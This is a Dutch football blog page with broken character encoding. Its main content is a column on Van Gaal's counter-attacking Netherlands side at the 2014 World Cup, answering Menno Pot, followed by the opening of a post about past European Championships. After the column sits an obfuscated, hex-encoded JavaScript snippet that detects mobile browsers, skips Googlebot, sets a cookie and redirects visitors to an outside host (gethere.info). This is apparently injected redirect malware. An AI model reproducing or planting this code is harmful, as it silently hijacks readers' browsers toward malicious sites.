Ook Voetblah-redacteuren zijn net mensen, dus ook binnen ons illustere schrijverscollectief woedt de discussie over het ofwel perfecte reactievoetbal dan wel pervers perfide poldercatenaccio van Louis en onze jongens inA�BraziliA�. En natuurlijk willen wij daar ook iets over kwijt. Het oorspronkelijke plan was om een sympathisant van beide kwalificaties een post te laten schrijven. Een heuse Voetblah-polemiek dus. Maar ziet: onze evangalist Cardoso die zijn passie over de tactiek wilde prediken, zag zijn boodschap vrijwel geheel vervat in deze column van Menno Pot. Bovendien wordt het geen polemiek, maar een kanttekening. Geen fundamentalisme, maar relativisme. Geen onwankelbare kwalificering, maar een nuancering. Het wordt zelfs geen cultuurfilosofische verhandeling. En aan wie kunnen we dit beter overlaten dan aan good-old Mazuro.
Dat ik hier word geconfronteerd met Menno Pot is weliswaar onvoorzien, maar toch ook weer geen toeval. Via de sociale media a�� en soms daarbuiten a�� komen we elkaar nogal eens tegen, dus zijn we wel zoa��n beetje op de hoogte van (het verschil in) elkanders voetbalbeleving. Ik kan het niet beter omschrijven dan met de vaststelling a�� let wel, geen waardeoordeel a�� dat Menno een columnist is die schrijft over, onder meer, voetbal en dat ik voor mijn gevoel nog steeds een voetballer ben die schrijft; over van alles, maar vooral en zeker het liefst over voetbal.
Een columnist chargeert en provoceert. Althans ik hoop voor Menno dat dit ook voor deze column geldt. Want als hij het Oranje-voetbal tijdens de eerste helften op dit WK ook als a�?mooi en meeslependa�� heeft ervaren; toen ook a�?voortdurend het gevoel had dat ze dichter bij een doelpunt waren dan de tegenstandera��; ook toen a�?Oranje zoa��n bijzonder aantrekkelijke, heerlijke ploega�� vond en toen ook zag dat a�?de geestdrift en het pleziera�� a�� inclusief de coaches en spelers op de bank a�� a�?er van af straaldena��, dan kan ik a�?m alleen maar benijden. Omdat hij dan meer gezien heeft dan ik. Ik, die zich aan dA?t voetbal van Oranje kapot heeft geA�rgerd, overvallen werd door plaatsvervangende schaamte of a�?zich hartstochtelijk te pletter verveeldea��. Ik, die alleen maar begeesterd werd a�� voor zover daar ruimte voor was a�� door het spel en de aanvallende bedoelingen van de tegenstander.
Over te pletter vervelen gesproken: ik denk dat voor de neutrale toeschouwer Nederland a�� Chili, op het laatste kwartier na, de saaiste, meest ‘zaaddodende’ wedstrijd was van dit WK tot dusver. Dat je je als Ajax-supporter (ook al zoa��n nieuwe realist!) nog meer te pletter hebt verveeld, is een wel erg dubieus alibi om dit spel spannend te vinden. Maar het kan natuurlijk ook zomaar zijn dat Menno tijdens voornoemde episodes met andere dingen bezig was. Zoals lezen, schrijven of twitteren. Misschien was het wel pappadag. Weet ik veel.
Nee Menno, het zijn er niet ‘slechts een paar’. En het zijn lang niet alleen zij die a�?zwammen vanaf prominente zetels (grote kranten, populaire televisieprogrammaa��s), dus onthoud goeda��: a�?wea�� zijn met velen. Waar je wel gelijk in hebt is dat er een heel stel zeurpieten tussen zitten. Fossiele romantici, mensen die zijn blijven hangen in het verleden, fervente Van Gaal-haters, notoire schamperaars, rancuneuze Cruijff-apostelen. Waar er maar een paar van zijn, dat zijn zij die net als ik wel degelijk bewondering hebben voor Van Gaals vakmanschap en teambuildingscapaciteiten, zelfs voor zijn realiteitszin. Die genieten van het onverzettelijke optreden van de echte verdediger Ron Vlaar, net als van de sporadische, doch supersnelle uitbraken en fraaie doelpunten. A�Maar wie wint, heeft niet altijd en ook niet in alles gelijk. En hoe chauvinistisch ook ik ben, het gaat om het voetbal, niet om het land. OkA�, deze oneliner kwam ik ergens tegen, maar is daarom niet minder waar.
Het voetbal dus. Countervoetbal. Reactievoetbal volgens Louis. Wat dan ook, het is gebaseerd op verdedigende stellingen om van daaruit te counteren. A�En omdat Robben in de vorm van zijn leven is en dit spelletje op zijn eindelijk luisterende lijf is geschreven, schrijven we tot dusver historie. Knap, uiterst efficiA�nt en effectief. Chapeau.
Maar dat we daarvoor gedurende hele wedstrijdfasen zeer afwachtend, superverdedigend en bij vlagen zelfs afbraakvoetbal voor lief moeten nemen, is voor mij een te groot en onnodig offer. Balbezit hoeft niet heilig te worden verklaard, maar knap positiespel, slim uitverdedigen, een middenvelder durven inspelen in plaats van lukraak de bal naar voren lellen in de hoop a�� in deze vorm bijna in de zekerheid a�� dat Robben a�?m oppikt, het zijn elementen die het spel aanzienlijk kunnen verfraaien. En waardoor je dus niet hoeft te wachten op die inderdaad soms mooie, tot nu toe wonderbaarlijk gelukte, maar toch spaarzame tegenaanvallen.
Ja maar, we hebben daarvoor de kwaliteiten niet, zeggen de aanhangers van het neorealisme. Liever een winnende pot die grotendeels en voor velen niet te verteren is (tot uw dienst Menno), dan alwA�A�r aan het kortste eind trekken met aanvallend voetbal, zo luidt de nieuwe doctrine.
Realisme, niks mis mee. Je sterkste punten benutten, graag zelfs. Roeien, riemen, natuurlijk. De vraag is echter of het ook niet anders had kunnen worden aangepakt. Met hetzelfde resultaat, maar op een meer attractieve wijze. Ja dus. Ik durf zelfs te stellen dat de tactiek tegen Spanje (met vijf verdedigers) verkeerd was. Er werden veel te veel kansen weggegeven, a�?wea�� hebben volledig geparasiteerd op het talent van de voorwaartsen en zijn daar echt door het oog van de naald gekropen. Er was totaal geen grip op het middenveld en het te laat instappen van Martins Indi en De Vrij leidde meerdere malen tot vrije doortocht voor de Spaanse voorwaartsen.
In 2010, toen dit nieuwe realisme door Van Marwijk in gang werd gezet, deden we dat nog veel beter. Er werd ten eerste veel eerder en a�?hogera�� druk gezet, zodat Spanje amper bij de vijandelijke goal kon komen. Had Robben de gewraakte A�A�n op A�A�n met Casillas wel gemaakt, danA� hadden we Spanje ongetwijfeld weggecounterd alsof het vier jaar later was.
Tegen het huidige Spanje, hoe op zijn retour ook, was de verdedigende tactiek vanzelfsprekend verdedigbaar, maar tegen een beperkt AustraliA� was dat een regelrechte blamage. Ondanks, maar waarschijnlijker dankzij de tactiek kwam de tegenstander voortdurend tussen de linies aan de bal en wisten de ‘onzen’ elkaar op het midden praktisch nooit te vinden. Totdat, wie anders, a�?onsa�� uit de brand hielp.
Gek genoeg bood de minst opwindende wedstrijd van de drie nog het meeste houvast. Met een verdediger minder stak het verdedigend beter in elkaar, om maar eens een Cruijffiaanse wijsheid te fingeren. Er werd niets weggegeven doordat de ruimtes op het midden kleiner waren en we korter op de man konden zitten. Met excuses voor het analisten- en trainersjargon. Nog steeds was de opbouw matig, maar dat is iets wat Van Gaal zelf ook heeft toegegeven.
Counteren, het kan prachtig zijn. Een snelle, over een paar schijven uitgevoerde tegenaanval: het is A�A�n van de schoonheden van het edele voetbalspel. Maar dit voetbal is bij tijd en wijlen de counter en de schaamte voorbij. Het doet mij teveel denken aan de tegenstander van vroeger die er geen hout van kon, die met za��n allen voor de goal gingen liggen, maar voorin A�A�n goeie voetballer hadden die balletjes stond af te wachten en er altijd wel een paar inschoot. Of aan de tennisser aan de overkant van het net, die alles terugbrengt en vertraagt, jou naar het net lokt om dan met een perfecte lob toe te slaan. Ook knap, toegegeven. (Te meer omdat die tennisser me heel bekend voorkomt..) En iemand die zo nodig wereldkampioen wil worden, moet maar laten zien dat-ie ook dat kan bestrijden, maar toch: willen wij zA? tot a�?s werelds beste voetbalnatie worden gekroond?
Ja, natuurlijk willen we dat! Ik voorop. Al is het alleen maar omdat we het gezien ons voetbalverleden en positieve impact op de voetbalwereld, a�?balbezitfetisjismea�� incluis, eindelijk wel eensA�verdienen. En ik sluit niet uit dat we dat ook daadwerkelijk waar gaan maken, net zo min als ik uitsluit dat dit, hoe tegenstrijdig dit ook klinkt, met meer realistisch en toch aantrekkelijker voetbal gepaard zal gaan. Want hoe dan ook is het zelfvertrouwen van iedereen, behalve wellicht Wesley Sneijder, toegenomen. En nu we het toch over Wesley hebben a�� ik ben ervan overtuigd dat wanneer Van Gaal c.q. Oranje erin slaagt om onze beste middenvelder beter te laten renderen, de kansen op de wereldtitel aanzienlijk zullen stijgen.
Maar dan hebben het nog niet over de tegenstander gehad. Want Mexico cum suis hebben natuurlijk allang het gevaar van dit Oranje onderkend. En om de fraaie metafoor van Mennoa��s stiletto er even bij te halen, men zal wel gek zijn om ook in het mes te lopen. Ja, misschien dat de Mexicanen a�� toch een beetje het Nederland van Zuid-Amerika a�� nog zo a�?doma�� zijn om trouw te blijven aan de huisstijl, maar de Urugayanen, Colombianen, Argentijnen en Brazilianen zullen zo naA?ef zeker niet zijn. En als we dan toch op miraculeuze wijze tot in de finale geraken, dan is onze enige hoop Die Manschaft als opponent aan te treffen. Want dat is ironisch genoeg nog de enige romanticus onder de voetballanden. Nota bene in navolging van Nederland vindt men daar nog de wijze waarop het spel wordt gespeeld minstens zo belangrijk als de knikkers. Wij zijn het nieuwe Duitsland, Duitsland is het nieuwe Nederland. En Van Gaal wordt wellicht wereldkampioen met een spiegelbeeld van de spelopvatting van zijn erfvijand Cruijff. De ultieme wraak. De ironie ten top.
Alleen de geschiedenis zal ons leren of deze stijlbreuk en dit Oranje-team zullen beklijven A?f dat men zich in pakweg 2030 alleen nog maar de Robben en Van Gaal van 2014 zal herinneren. Ik sluit niet uit dat dan nog steeds het totaalvoetbal van de jaren a��70 als piA?ce de rA�sistance zal worden gezien.
En Apollo 13? Niet gezien. Maar opwindend is het zeker.
var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Vind ik leuk:
Like Laden...
Read Full Post »
Vandaag begint het grootste, duurste en meest beveiligde EK ooit. Het EK van 1980 was het tegenovergestelde hiervan. De stadions waren krakkemikkig, er zat geen hond op de tribunes en Martien Vreijsen was geselecteerd. Dat was destijds nog een NAC-speler, dus toen hij mocht meedoen tegen Griekenland, zaten wij in Breda vol verwachting voor de buis. Martien raakte geen knikker en werd in de rust gewisseld. Einde interlandcarriA?re. Zijn optreden paste heel mooi bij dat trieste EK en zijn collegaa��s gingen net als hij af door de zijdeur, daar in ItaliA�.
Tot 1988 was het telkens net niet of botweg helemaal niet voor het Nederlands Elftal. Maar dat jaar maakte bijna alles goed. Ja, heel veel. Is er iets toe te voegen aan alles wat over dat EK is geschreven, gefotografeerd en gefilmd? Eigenlijk niet. Of het zou de heerlijk verbeten vreugde moeten zijn die ik voelde na de halve finale. Een oergevoel dat nooit meer is geA�venaard, ook niet toen de finale werd gewonnen. Maar nee, ook dat is al talloze malen beschreven.
